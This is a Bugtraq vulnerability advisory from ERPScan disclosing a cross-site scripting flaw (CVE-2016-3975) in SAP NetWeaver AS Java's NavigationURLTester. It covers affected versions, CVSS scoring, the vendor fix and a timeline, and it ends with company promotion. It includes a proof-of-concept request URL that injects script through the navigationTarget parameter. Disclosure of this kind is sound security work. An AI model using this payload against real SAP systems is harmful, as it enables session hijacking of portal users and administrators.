Bugtraq: [ERPSCAN-16-014] SAP NetWeaver AS Java NavigationURLTester - XSS vulnerability

Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver AS JAVA 7.1 - 7.5

Vendor URL: http://SAP.com

Bug: XSS

Sent: 20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016

Reference: SAP Security Note 2238375

Author: Vahagn Vardanyan (ERPScan)

Description

1. ADVISORY INFORMATION

Title: [ERPSCAN-16-014] SAP NetWeaver AS Java NavigationURLTester â??

XSS vulnerability

Advisory ID: [ERPSCAN-16-014]

Risk: Medium

Advisory URL: http://ift.tt/1PyqUXo

onurltester/

Date published: 08.03.2016

Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: XSS

Impact: Resource consumption

Remotely Exploitable: Yes

Locally Exploitable: No

CVE-2016-3975

CVSS Information

CVSS Base Score v3: 6.1 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) None (N)

UI : User Interaction (Required user participation) Required (R)

S : Scope (Change in scope due to impact caused to components beyond

the vulnerable component) Changed (C)

C : Impact to Confidentiality Low (L)

I : Impact to Integrity Low (L)

A : Impact to Availability None (N)

3. VULNERABILITY DESCRIPTION

Anonymous attacker can use a special HTTP request to hijack session

data of administrators or users of a web resource.

4. VULNERABLE PACKAGES

SAP NetWeaver AS JAVA 7.1 - 7.5

Other versions are probably affected too, but they were not checked.

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2238375

6. AUTHOR

Vahagn Vardanyan (ERPScan)

7. TECHNICAL DESCRIPTION

Cross-site scripting (XSS) vulnerability in SAP NetWeaver AS Java

allows remote attackers to inject arbitrary web script or HTML via

unspecified vectors related to NavigationURLTester

PoC

http://SAP:50000/irj/servlet/prt/portal/prteventname/getNavigationURL/pr

troot/com.sapportals.navigation.testComponent.NavigationURLTester?naviga

tionTarget=ROLES%3a%2f%2fportal_content%2fadministrator%2fsuper_admin%2f

super_admin_role%2fcom.sap.portal.system_administration%2fcom.sap.portal

.system_admin_ws%2fcom.sap.portal.transport%2fcom.sap.portal.transport_p

ackages%2fcom.sap.portal.wd_admin_studio_export

3dalert('ERPSCAN')>&portalAlias=&navMode=&queryString=&getNavigationURL=

getNavigationURL

8. REPORT TIMELINE

Sent: 20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016

9. REFERENCES

http://ift.tt/1PyqUXo

onurltester/

10. ABOUT ERPScan Research

The companyâ??s expertise is based on the research subdivision of

ERPScan, which is engaged in vulnerability research and analysis of

critical enterprise applications. It has achieved multiple

acknowledgments from the largest software vendors like SAP, Oracle,

Microsoft, IBM, VMware, HP for discovering more than 400

vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud to have exposed new types of

vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be

nominated for the best server-side vulnerability at BlackHat 2013.

ERPScan experts have been invited to speak, present, and train at 60+

prime international security conferences in 25+ countries across the

continents. These include BlackHat, RSA, HITB, and private SAP

trainings in several Fortune 2000 companies.

ERPScan researchers lead the project EAS-SEC, which is focused on

enterprise application security research and awareness. They have

published 3 exhaustive annual award-winning surveys about SAP

security.

ERPScan experts have been interviewed by leading media resources and

featured in specialized info-sec publications worldwide. These include

Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,

Heise, and Chinabyte, to name a few.

We have highly qualified experts in staff with experience in many

different fields of security, from web applications and

mobile/embedded to reverse engineering and ICS/SCADA systems,

accumulating their experience to conduct the best SAP security

research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application

Security provider. Founded in 2010, the company operates globally and

enables large Oil and Gas, Financial and Retail organizations to

secure their mission-critical processes. Named as an â??Emerging Vendorâ??

in Security by CRN, listed among â??TOP 100 SAP Solution providersâ? and

distinguished by 30+ other awards, ERPScan is the leading SAP SE

partner in discovering and resolving security vulnerabilities. ERPScan

consultants work with SAP SE in Walldorf to assist in improving the

security of their latest solutions.

ERPScanâ??s primary mission is to close the gap between technical and

business security, and provide solutions to evaluate and secure SAP

and Oracle ERP systems and business-critical applications from both,

cyber-attacks as well as internal fraud. Usually our clients are large

enterprises, Fortune 2000 companies and managed service providers

whose requirements are to actively monitor and manage security of vast

SAP landscapes on a global scale.

We â??follow the sunâ?? and function in two hubs, located in the Palo Alto

and Amsterdam to provide threat intelligence services, agile support

and operate local offices and partner network spanning 20+ countries

around the globe.

Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security

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